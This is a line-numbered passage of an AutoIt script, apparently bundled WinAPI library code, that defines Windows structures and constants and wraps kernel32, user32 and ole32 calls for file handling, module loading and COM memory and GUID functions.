  1411. Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
  1412. Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  1413. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  1414. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  1415. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  1416. Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
  1417. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  1418. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  1419. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  1420. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  1421. Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  1422. Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  1423. Global Const $coinit_apartmentthreaded = 2
  1424. Global Const $coinit_disable_ole1dde = 4
  1425. Global Const $coinit_multithreaded = 0
  1426. Global Const $coinit_speed_over_memory = 8
  1427. Global Const $fc_nooverwrite = 0
  1428. Global Const $fc_overwrite = 1
  1429. Global Const $fc_createpath = 8
  1430. Global Const $ft_modified = 0
  1431. Global Const $ft_created = 1
  1432. Global Const $ft_accessed = 2
  1433. Global Const $ft_array = 0
  1434. Global Const $ft_string = 1
  1435. Global Const $fsf_createbutton = 1
  1436. Global Const $fsf_newdialog = 2
  1437. Global Const $fsf_editcontrol = 4
  1438. Global Const $ft_nonrecursive = 0
  1439. Global Const $ft_recursive = 1
  1440. Global Const $fo_read = 0
  1441. Global Const $fo_append = 1
  1442. Global Const $fo_overwrite = 2
  1443. Global Const $fo_createpath = 8
  1444. Global Const $fo_binary = 16
  1445. Global Const $fo_unicode = 32
  1446. Global Const $fo_utf16_le = 32
  1447. Global Const $fo_utf16_be = 64
  1448. Global Const $fo_utf8 = 128
  1449. Global Const $fo_utf8_nobom = 256
  1450. Global Const $fo_ansi = 512
  1451. Global Const $fo_utf16_le_nobom = 1024
  1452. Global Const $fo_utf16_be_nobom = 2048
  1453. Global Const $fo_utf8_full = 16384
  1454. Global Const $fo_fullfile_detect = 16384
  1455. Global Const $eof = -1
  1456. Global Const $fd_filemustexist = 1
  1457. Global Const $fd_pathmustexist = 2
  1458. Global Const $fd_multiselect = 4
  1459. Global Const $fd_promptcreatenew = 8
  1460. Global Const $fd_promptoverwrite = 16
  1461. Global Const $create_new = 1
  1462. Global Const $create_always = 2
  1463. Global Const $open_existing = 3
  1464. Global Const $open_always = 4
  1465. Global Const $truncate_existing = 5
  1466. Global Const $invalid_set_file_pointer = -1
  1467. Global Const $file_begin = 0
  1468. Global Const $file_current = 1
  1469. Global Const $file_end = 2
  1470. Global Const $file_attribute_readonly = 1
  1471. Global Const $file_attribute_hidden = 2
  1472. Global Const $file_attribute_system = 4
  1473. Global Const $file_attribute_directory = 16
  1474. Global Const $file_attribute_archive = 32
  1475. Global Const $file_attribute_device = 64
  1476. Global Const $file_attribute_normal = 128
  1477. Global Const $file_attribute_temporary = 256
  1478. Global Const $file_attribute_sparse_file = 512
  1479. Global Const $file_attribute_reparse_point = 1024
  1480. Global Const $file_attribute_compressed = 2048
  1481. Global Const $file_attribute_offline = 4096
  1482. Global Const $file_attribute_not_content_indexed = 8192
  1483. Global Const $file_attribute_encrypted = 16384
  1484. Global Const $file_share_read = 1
  1485. Global Const $file_share_write = 2
  1486. Global Const $file_share_delete = 4
  1487. Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
  1488. Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
  1489. Global Const $generic_all = 268435456
  1490. Global Const $generic_execute = 536870912
  1491. Global Const $generic_write = 1073741824
  1492. Global Const $generic_read = -2147483648
  1493. Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
  1494. Global Const $file_encoding_utf16le = 32
  1495. Global Const $fe_entire_utf8 = 1
  1496. Global Const $fe_partialfirst_utf8 = 2
  1497. Global Const $fn_fullpath = 0
  1498. Global Const $fn_relativepath = 1
  1499. Global Const $fv_comments = "Comments"
  1500. Global Const $fv_companyname = "CompanyName"
  1501. Global Const $fv_filedescription = "FileDescription"
  1502. Global Const $fv_fileversion = "FileVersion"
  1503. Global Const $fv_internalname = "InternalName"
  1504. Global Const $fv_legalcopyright = "LegalCopyright"
  1505. Global Const $fv_legaltrademarks = "LegalTrademarks"
  1506. Global Const $fv_originalfilename = "OriginalFilename"
  1507. Global Const $fv_productname = "ProductName"
  1508. Global Const $fv_productversion = "ProductVersion"
  1509. Global Const $fv_privatebuild = "PrivateBuild"
  1510. Global Const $fv_specialbuild = "SpecialBuild"
  1511. Global Const $frta_nocount = 0
  1512. Global Const $frta_count = 1
  1513. Global Const $frta_intarrays = 2
  1514. Global Const $frta_entiresplit = 4
  1515. Global Const $flta_filesfolders = 0
  1516. Global Const $flta_files = 1
  1517. Global Const $flta_folders = 2
  1518. Global Const $fltar_filesfolders = 0
  1519. Global Const $fltar_files = 1
  1520. Global Const $fltar_folders = 2
  1521. Global Const $fltar_nohidden = 4
  1522. Global Const $fltar_nosystem = 8
  1523. Global Const $fltar_nolink = 16
  1524. Global Const $fltar_norecur = 0
  1525. Global Const $fltar_recur = 1
  1526. Global Const $fltar_nosort = 0
  1527. Global Const $fltar_sort = 1
  1528. Global Const $fltar_fastsort = 2
  1529. Global Const $fltar_nopath = 0
  1530. Global Const $fltar_relpath = 1
  1531. Global Const $fltar_fullpath = 2
  1532. Global Const $path_original = 0
  1533. Global Const $path_drive = 1
  1534. Global Const $path_directory = 2
  1535. Global Const $path_filename = 3
  1536. Global Const $path_extension = 4
  1537. Global Const $mb_ok = 0
  1538. Global Const $mb_okcancel = 1
  1539. Global Const $mb_abortretryignore = 2
  1540. Global Const $mb_yesnocancel = 3
  1541. Global Const $mb_yesno = 4
  1542. Global Const $mb_retrycancel = 5
  1543. Global Const $mb_canceltrycontinue = 6
  1544. Global Const $mb_help = 16384
  1545. Global Const $mb_iconstop = 16
  1546. Global Const $mb_iconerror = 16
  1547. Global Const $mb_iconhand = 16
  1548. Global Const $mb_iconquestion = 32
  1549. Global Const $mb_iconexclamation = 48
  1550. Global Const $mb_iconwarning = 48
  1551. Global Const $mb_iconinformation = 64
  1552. Global Const $mb_iconasterisk = 64
  1553. Global Const $mb_usericon = 128
  1554. Global Const $mb_defbutton1 = 0
  1555. Global Const $mb_defbutton2 = 256
  1556. Global Const $mb_defbutton3 = 512
  1557. Global Const $mb_defbutton4 = 768
  1558. Global Const $mb_applmodal = 0
  1559. Global Const $mb_systemmodal = 4096
  1560. Global Const $mb_taskmodal = 8192
  1561. Global Const $mb_default_desktop_only = 131072
  1562. Global Const $mb_right = 524288
  1563. Global Const $mb_rtlreading = 1048576
  1564. Global Const $mb_setforeground = 65536
  1565. Global Const $mb_topmost = 262144
  1566. Global Const $mb_service_notification = 2097152
  1567. Global Const $mb_rightjustified = $mb_right
  1568. Global Const $idtimeout = -1
  1569. Global Const $idok = 1
  1570. Global Const $idcancel = 2
  1571. Global Const $idabort = 3
  1572. Global Const $idretry = 4
  1573. Global Const $idignore = 5
  1574. Global Const $idyes = 6
  1575. Global Const $idno = 7
  1576. Global Const $idclose = 8
  1577. Global Const $idhelp = 9
  1578. Global Const $idtryagain = 10
  1579. Global Const $idcontinue = 11
  1580. #Region Global Variables and Constants
  1581. Global $__g_venum, $__g_vext = 0
  1582. Global $__g_irgbmode = 1
  1583. Global Const $tagosversioninfo = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct"
  1584. Global Const $image_bitmap = 0
  1585. Global Const $image_icon = 1
  1586. Global Const $image_cursor = 2
  1587. Global Const $image_enhmetafile = 3
  1588. Global Const $lr_defaultcolor = 0
  1589. Global Const $lr_monochrome = 1
  1590. Global Const $lr_color = 2
  1591. Global Const $lr_copyreturnorg = 4
  1592. Global Const $lr_copydeleteorg = 8
  1593. Global Const $lr_loadfromfile = 16
  1594. Global Const $lr_loadtransparent = 32
  1595. Global Const $lr_defaultsize = 64
  1596. Global Const $lr_vgacolor = 128
  1597. Global Const $lr_loadmap3dcolors = 4096
  1598. Global Const $lr_createdibsection = 8192
  1599. Global Const $lr_copyfromresource = 16384
  1600. Global Const $lr_shared = 32768
  1601. Global Const $__tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & "struct;long X;long Y;endstruct"
  1602. Global Const $__winver = __winver()
  1603. #EndRegion Global Variables and Constants
  1604. #Region Functions list
  1605. #EndRegion Functions list
  1606. #Region Public Functions
  1607.  
  1608. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $tsecurity = 0)
  1609. Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  1610. If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  1611. If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  1612. If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  1613. If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  1614. If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  1615. If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  1616. Switch $icreation
  1617. Case 0
  1618. $icd = $create_new
  1619. Case 1
  1620. $icd = $create_always
  1621. Case 2
  1622. $icd = $open_existing
  1623. Case 3
  1624. $icd = $open_always
  1625. Case 4
  1626. $icd = $truncate_existing
  1627. EndSwitch
  1628. If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  1629. If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  1630. If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  1631. If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  1632. Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "struct*", $tsecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  1633. If @error OR ($aresult[0] = Ptr(-1)) Then Return SetError(@error, @extended, 0)
  1634. Return $aresult[0]
  1635. EndFunc
  1636.  
  1637. Func _winapi_freelibrary($hmodule)
  1638. Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  1639. If @error Then Return SetError(@error, @extended, False)
  1640. Return $aresult[0]
  1641. EndFunc
  1642.  
  1643. Func _winapi_getcursorinfo()
  1644. Local $tcursor = DllStructCreate($__tagcursorinfo)
  1645. Local $icursor = DllStructGetSize($tcursor)
  1646. DllStructSetData($tcursor, "Size", $icursor)
  1647. Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  1648. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  1649. Local $acursor[5]
  1650. $acursor[0] = True
  1651. $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  1652. $acursor[2] = DllStructGetData($tcursor, "hCursor")
  1653. $acursor[3] = DllStructGetData($tcursor, "X")
  1654. $acursor[4] = DllStructGetData($tcursor, "Y")
  1655. Return $acursor
  1656. EndFunc
  1657.  
  1658. Func _winapi_getdlgctrlid($hwnd)
  1659. Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  1660. If @error Then Return SetError(@error, @extended, 0)
  1661. Return $aresult[0]
  1662. EndFunc
  1663.  
  1664. Func _winapi_getmodulehandle($smodulename)
  1665. Local $smodulenametype = "wstr"
  1666. If $smodulename = "" Then
  1667. $smodulename = 0
  1668. $smodulenametype = "ptr"
  1669. EndIf
  1670. Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  1671. If @error Then Return SetError(@error, @extended, 0)
  1672. Return $aresult[0]
  1673. EndFunc
  1674.  
  1675. Func _winapi_getstring($pstring, $bunicode = True)
  1676. Local $ilength = _winapi_strlen($pstring, $bunicode)
  1677. If @error OR NOT $ilength Then Return SetError(@error + 10, @extended, "")
  1678. Local $tstring = DllStructCreate(($bunicode ? "wchar" : "char") & "[" & ($ilength + 1) & "]", $pstring)
  1679. If @error Then Return SetError(@error, @extended, "")
  1680. Return SetExtended($ilength, DllStructGetData($tstring, 1))
  1681. EndFunc
  1682.  
  1683. Func _winapi_iswow64process($ipid = 0)
  1684. If NOT $ipid Then $ipid = @AutoItPID
  1685. Local $hprocess = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", ($__winver < 1536 ? 1024 : 4096), "bool", 0, "dword", $ipid)
  1686. If @error OR NOT $hprocess[0] Then Return SetError(@error + 20, @extended, False)
  1687. Local $aret = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess[0], "bool*", 0)
  1688. If __checkerrorclosehandle($aret, $hprocess[0]) Then Return SetError(@error, @extended, False)
  1689. Return $aret[2]
  1690. EndFunc
  1691.  
  1692. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  1693. Local $aresult, $simagetype = "int"
  1694. If IsString($simage) Then $simagetype = "wstr"
  1695. $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  1696. If @error Then Return SetError(@error, @extended, 0)
  1697. Return $aresult[0]
  1698. EndFunc
  1699.  
  1700. Func _winapi_loadlibrary($sfilename)
  1701. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  1702. If @error Then Return SetError(@error, @extended, 0)
  1703. Return $aresult[0]
  1704. EndFunc
  1705.  
  1706. Func _winapi_pathisdirectory($sfilepath)
  1707. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", $sfilepath)
  1708. If @error Then Return SetError(@error, @extended, False)
  1709. Return $aret[0]
  1710. EndFunc
  1711.  
  1712. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $toverlapped = 0)
  1713. Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itoread, "dword*", 0, "struct*", $toverlapped)
  1714. If @error Then Return SetError(@error, @extended, False)
  1715. $iread = $aresult[4]
  1716. Return $aresult[0]
  1717. EndFunc
  1718.  
  1719. Func _winapi_strlen($pstring, $bunicode = True)
  1720. Local $w = ""
  1721. If $bunicode Then $w = "W"
  1722. Local $aret = DllCall("kernel32.dll", "int", "lstrlen" & $w, "struct*", $pstring)
  1723. If @error Then Return SetError(@error, @extended, 0)
  1724. Return $aret[0]
  1725. EndFunc
  1726.  
  1727. Func _winapi_switchcolor($icolor)
  1728. If $icolor = -1 Then Return $icolor
  1729. Return BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  1730. EndFunc
  1731.  
  1732. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $toverlapped = 0)
  1733. Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itowrite, "dword*", 0, "struct*", $toverlapped)
  1734. If @error Then Return SetError(@error, @extended, False)
  1735. $iwritten = $aresult[4]
  1736. Return $aresult[0]
  1737. EndFunc
  1738.  
  1739. #EndRegion Public Functions
  1740. #Region Internal Functions
  1741.  
  1742. Func __checkerrorarraybounds(Const ByRef $adata, ByRef $istart, ByRef $iend, $ndim = 1, $idim = $ubound_dimensions)
  1743. If NOT IsArray($adata) Then Return SetError(1, 0, 1)
  1744. If UBound($adata, $idim) <> $ndim Then Return SetError(2, 0, 1)
  1745. If $istart < 0 Then $istart = 0
  1746. Local $iubound = UBound($adata) - 1
  1747. If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  1748. If $istart > $iend Then Return SetError(4, 0, 1)
  1749. Return 0
  1750. EndFunc
  1751.  
  1752. Func __checkerrorclosehandle($aret, $hfile, $blasterror = False, $icurerr = @error, $icurext = @extended)
  1753. If NOT $icurerr AND NOT $aret[0] Then $icurerr = 10
  1754. Local $alasterror = DllCall("kernel32.dll", "dword", "GetLastError")
  1755. DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile)
  1756. If $icurerr Then DllCall("kernel32.dll", "none", "SetLastError", "dword", $alasterror[0])
  1757. If $blasterror Then $icurext = $alasterror[0]
  1758. Return SetError($icurerr, $icurext, $icurerr)
  1759. EndFunc
  1760.  
  1761. Func __dll($spath, $bpin = False)
  1762. Local $aret = DllCall("kernel32.dll", "bool", "GetModuleHandleExW", "dword", ($bpin ? 1 : 2), "wstr", $spath, "ptr*", 0)
  1763. If NOT $aret[3] Then
  1764. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $spath)
  1765. If NOT $aresult[0] Then Return 0
  1766. EndIf
  1767. Return 1
  1768. EndFunc
  1769.  
  1770. Func __enumwindowsproc($hwnd, $bvisible)
  1771. Local $aresult
  1772. If $bvisible Then
  1773. $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  1774. If NOT $aresult[0] Then
  1775. Return 1
  1776. EndIf
  1777. EndIf
  1778. __inc($__g_venum)
  1779. $__g_venum[$__g_venum[0][0]][0] = $hwnd
  1780. $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  1781. $__g_venum[$__g_venum[0][0]][1] = $aresult[2]
  1782. Return 1
  1783. EndFunc
  1784.  
  1785. Func __fatalexit($icode, $stext = "")
  1786. If $stext Then MsgBox($mb_systemmodal, "AutoIt", $stext)
  1787. DllCall("kernel32.dll", "none", "FatalExit", "int", $icode)
  1788. EndFunc
  1789.  
  1790. Func __inc(ByRef $adata, $iincrement = 100)
  1791. Select
  1792. Case UBound($adata, $ubound_columns)
  1793. If $iincrement < 0 Then
  1794. ReDim $adata[$adata[0][0] + 1][UBound($adata, $ubound_columns)]
  1795. Else
  1796. $adata[0][0] += 1
  1797. If $adata[0][0] > UBound($adata) - 1 Then
  1798. ReDim $adata[$adata[0][0] + $iincrement][UBound($adata, $ubound_columns)]
  1799. EndIf
  1800. EndIf
  1801. Case UBound($adata, $ubound_rows)
  1802. If $iincrement < 0 Then
  1803. ReDim $adata[$adata[0] + 1]
  1804. Else
  1805. $adata[0] += 1
  1806. If $adata[0] > UBound($adata) - 1 Then
  1807. ReDim $adata[$adata[0] + $iincrement]
  1808. EndIf
  1809. EndIf
  1810. Case Else
  1811. Return 0
  1812. EndSelect
  1813. Return 1
  1814. EndFunc
  1815.  
  1816. Func __rgb($icolor)
  1817. If $__g_irgbmode Then
  1818. $icolor = _winapi_switchcolor($icolor)
  1819. EndIf
  1820. Return $icolor
  1821. EndFunc
  1822.  
  1823. Func __winver()
  1824. Local $tosvi = DllStructCreate($tagosversioninfo)
  1825. DllStructSetData($tosvi, 1, DllStructGetSize($tosvi))
  1826. Local $aret = DllCall("kernel32.dll", "bool", "GetVersionExW", "struct*", $tosvi)
  1827. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  1828. Return BitOR(BitShift(DllStructGetData($tosvi, 2), -8), DllStructGetData($tosvi, 3))
  1829. EndFunc
  1830.  
  1831. #EndRegion Internal Functions
  1832. #Region Global Variables and Constants
  1833. Global Const $__tagwinapicom_guid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
  1834. #EndRegion Global Variables and Constants
  1835. #Region Functions list
  1836. #EndRegion Functions list
  1837. #Region Public Functions
  1838.  
  1839. Func _winapi_clsidfromprogid($sprogid)
  1840. Local $tguid = DllStructCreate($__tagwinapicom_guid)
  1841. Local $areturn = DllCall("ole32.dll", "long", "CLSIDFromProgID", "wstr", $sprogid, "struct*", $tguid)
  1842. If @error Then Return SetError(@error, @extended, "")
  1843. If $areturn[0] Then Return SetError(10, $areturn[0], "")
  1844. $areturn = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 39)
  1845. If @error OR NOT $areturn[0] Then Return SetError(@error + 20, @extended, "")
  1846. Return $areturn[2]
  1847. EndFunc
  1848.  
  1849. Func _winapi_coinitialize($iflags = 0)
  1850. Local $areturn = DllCall("ole32.dll", "long", "CoInitializeEx", "ptr", 0, "dword", $iflags)
  1851. If @error Then Return SetError(@error, @extended, 0)
  1852. If $areturn[0] Then Return SetError(10, $areturn[0], 0)
  1853. Return 1
  1854. EndFunc
  1855.  
  1856. Func _winapi_cotaskmemalloc($isize)
  1857. Local $areturn = DllCall("ole32.dll", "ptr", "CoTaskMemAlloc", "uint_ptr", $isize)
  1858. If @error Then Return SetError(@error, @extended, 0)
  1859. Return $areturn[0]
  1860. EndFunc
  1861.  
  1862. Func _winapi_cotaskmemfree($pmemory)
  1863. DllCall("ole32.dll", "none", "CoTaskMemFree", "ptr", $pmemory)
  1864. If @error Then Return SetError(@error, @extended, 0)
  1865. Return 1
  1866. EndFunc
  1867.  
  1868. Func _winapi_cotaskmemrealloc($pmemory, $isize)
  1869. Local $areturn = DllCall("ole32.dll", "ptr", "CoTaskMemRealloc", "ptr", $pmemory, "ulong_ptr", $isize)
  1870. If @error Then Return SetError(@error, @extended, 0)
  1871. Return $areturn[0]
  1872. EndFunc
  1873.  
  1874. Func _winapi_couninitialize()
  1875. DllCall("ole32.dll", "none", "CoUninitialize")
  1876. If @error Then Return SetError(@error, @extended, 0)
  1877. Return 1
  1878. EndFunc
  1879.  
  1880. Func _winapi_createguid()
  1881. Local $tguid = DllStructCreate($__tagwinapicom_guid)
  1882. Local $areturn = DllCall("ole32.dll", "long", "CoCreateGuid", "struct*", $tguid)
  1883. If @error Then Return SetError(@error, @extended, "")
  1884. If $areturn[0] Then Return SetError(10, $areturn[0], "")
  1885. $areturn = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 65536)
  1886. If @error OR NOT $areturn[0] Then Return SetError(@error + 20, @extended, "")
  1887. Return $areturn[2]
  1888. EndFunc
  1889.  
  1890. Func _winapi_createstreamonhglobal($hglobal = 0, $bdeleteonrelease = True)
  1891. Local $areturn = DllCall("ole32.dll", "long", "CreateStreamOnHGlobal", "handle", $hglobal, "bool", $bdeleteonrelease, "ptr*", 0)
  1892. If @error Then Return SetError(@error, @extended, 0)
  1893. If $areturn[0] Then Return SetError(10, $areturn[0], 0)
  1894. Return $areturn[3]
  1895. EndFunc
  1896.  
  1897. Func _winapi_gethglobalfromstream($pstream)
  1898. Local $areturn = DllCall("ole32.dll", "uint", "GetHGlobalFromStream", "ptr", $pstream, "ptr*", 0)
  1899. If @error Then Return SetError(@error, @extended, 0)
  1900. If $areturn[0] Then Return SetError(10, $areturn[0], 0)
  1901. Return $areturn[2]
  1902. EndFunc
  1903.  
  1904. Func _winapi_progidfromclsid($sclsid)
  1905. Local $tguid = DllStructCreate($__tagwinapicom_guid)
  1906. Local $areturn = DllCall("ole32.dll", "uint", "CLSIDFromString", "wstr", $sclsid, "struct*", $tguid)
  1907. If @error OR $areturn[0] Then Return SetError(@error + 20, @extended, "")
  1908. $areturn = DllCall("ole32.dll", "uint", "ProgIDFromCLSID", "struct*", $tguid, "ptr*", 0)
  1909. If @error Then Return SetError(@error, @extended, "")
  1910. If $areturn[0] Then Return SetError(10, $areturn[0], "")
  1911. Local $sid = _winapi_getstring($areturn[2])
  1912. _winapi_cotaskmemfree($areturn[2])
  1913. Return $sid
  1914. EndFunc
  1915.  
  1916. Func _winapi_releasestream($pstream)
  1917. Local $areturn = DllCall("oleaut32.dll", "long", "DispCallFunc", "ptr", $pstream, "ulong_ptr", 8 * (1 + @AutoItX64), "uint", 4, "ushort", 23, "uint", 0, "ptr", 0, "ptr", 0, "str", "")
  1918. If @error Then Return SetError(@error, @extended, 0)
  1919. If $areturn[0] Then Return SetError(10, $areturn[0], 0)
  1920. Return 1
  1921. EndFunc
  1922.  
  1923. #EndRegion Public Functions
  1924. Global Const $hgdi_error = Ptr(-1)
  1925. Global Const $invalid_handle_value = Ptr(-1)
  1926. Global Const $clr_invalid = -1
  1927. Global Const $mb_precomposed = 1
  1928. Global Const $mb_composite = 2
  1929. Global Const $mb_useglyphchars = 4
  1930. Global Const $ulw_alpha = 2
  1931. Global Const $ulw_colorkey = 1
  1932. Global Const $ulw_opaque = 4
  1933. Global Const $ulw_ex_noresize = 8
  1934. Global Const $wh_callwndproc = 4
  1935. Global Const $wh_callwndprocret = 12
  1936. Global Const $wh_cbt = 5
  1937. Global Const $wh_debug = 9
  1938. Global Const $wh_foregroundidle = 11
  1939. Global Const $wh_getmessage = 3
  1940. Global Const $wh_journalplayback = 1
  1941. Global Const $wh_journalrecord = 0
  1942. Global Const $wh_keyboard = 2
  1943. Global Const $wh_keyboard_ll = 13
  1944. Global Const $wh_mouse = 7
  1945. Global Const $wh_mouse_ll = 14
  1946. Global Const $wh_msgfilter = -1
  1947. Global Const $wh_shell = 10
  1948. Global Const $wh_sysmsgfilter = 6
  1949. Global Const $wpf_asyncwindowplacement = 4
  1950. Global Const $wpf_restoretomaximized = 2
  1951. Global Const $wpf_setminposition = 1
  1952. Global Const $kf_extended = 256
  1953. Global Const $kf_altdown = 8192
  1954. Global Const $kf_up = 32768
  1955. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  1956. Global Const $llkhf_injected = 16
  1957. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  1958. Global Const $llkhf_up = BitShift($kf_up, 8)
  1959. Global Const $ofn_allowmultiselect = 512
  1960. Global Const $ofn_createprompt = 8192
  1961. Global Const $ofn_dontaddtorecent = 33554432
  1962. Global Const $ofn_enablehook = 32
  1963. Global Const $ofn_enableincludenotify = 4194304
  1964. Global Const $ofn_enablesizing = 8388608
  1965. Global Const $ofn_enabletemplate = 64
  1966. Global Const $ofn_enabletemplatehandle = 128
  1967. Global Const $ofn_explorer = 524288
  1968. Global Const $ofn_extensiondifferent = 1024
  1969. Global Const $ofn_filemustexist = 4096
  1970. Global Const $ofn_forceshowhidden = 268435456
  1971. Global Const $ofn_hidereadonly = 4
  1972. Global Const $ofn_longnames = 2097152
  1973. Global Const $ofn_nochangedir = 8
  1974. Global Const $ofn_nodereferencelinks = 1048576
  1975. Global Const $ofn_nolongnames = 262144
  1976. Global Const $ofn_nonetworkbutton = 131072
  1977. Global Const $ofn_noreadonlyreturn = 32768
  1978. Global Const $ofn_notestfilecreate = 65536
  1979. Global Const $ofn_novalidate = 256
  1980. Global Const $ofn_overwriteprompt = 2
  1981. Global Const $ofn_pathmustexist = 2048
  1982. Global Const $ofn_readonly = 1
  1983. Global Const $ofn_shareaware = 16384
  1984. Global Const $ofn_showhelp = 16
  1985. Global Const $ofn_ex_noplacesbar = 1
  1986. Global Const $std_cut = 0
  1987. Global Const $std_copy = 1
  1988. Global Const $std_paste = 2
  1989. Global Const $std_undo = 3
  1990. Global Const $std_redow = 4
  1991. Global Const $std_delete = 5
  1992. Global Const $std_filenew = 6
  1993. Global Const $std_fileopen = 7
  1994. Global Const $std_filesave = 8
  1995. Global Const $std_printpre = 9
  1996. Global Const $std_properties = 10
  1997. Global Const $std_help = 11
  1998. Global Const $std_find = 12
  1999. Global Const $std_replace = 13
  2000. Global Const $std_print = 14
  2001. Global Const $kb_sendspecial = 0
  2002. Global Const $kb_sendraw = 1
  2003. Global Const $kb_capsoff = 0
  2004. Global Const $kb_capson = 1
  2005. Global Const $s_ok = 0
  2006. Global Const $e_abort = -2147467260
  2007. Global Const $e_accessdenied = -2147024891
  2008. Global Const $e_fail = -2147467259
  2009. Global Const $e_handle = -2147024890
  2010. Global Const $e_invalidarg = -2147024809
  2011. Global Const $e_nointerface = -2147467262
  2012. Global Const $e_notimpl = -2147467263
  2013. Global Const $e_outofmemory = -2147024882
  2014. Global Const $e_pointer = -2147467261
  2015. Global Const $e_unexpected = -2147418113
  2016. #Region Global Variables and Constants
  2017. Global $__g_hheap = 0
  2018. #EndRegion Global Variables and Constants
  2019. #Region Functions list
  2020. #EndRegion Functions list
  2021. #Region Public Functions
  2022.  
  2023. Func _winapi_createbuffer($ilength, $pbuffer = 0, $babort = True)
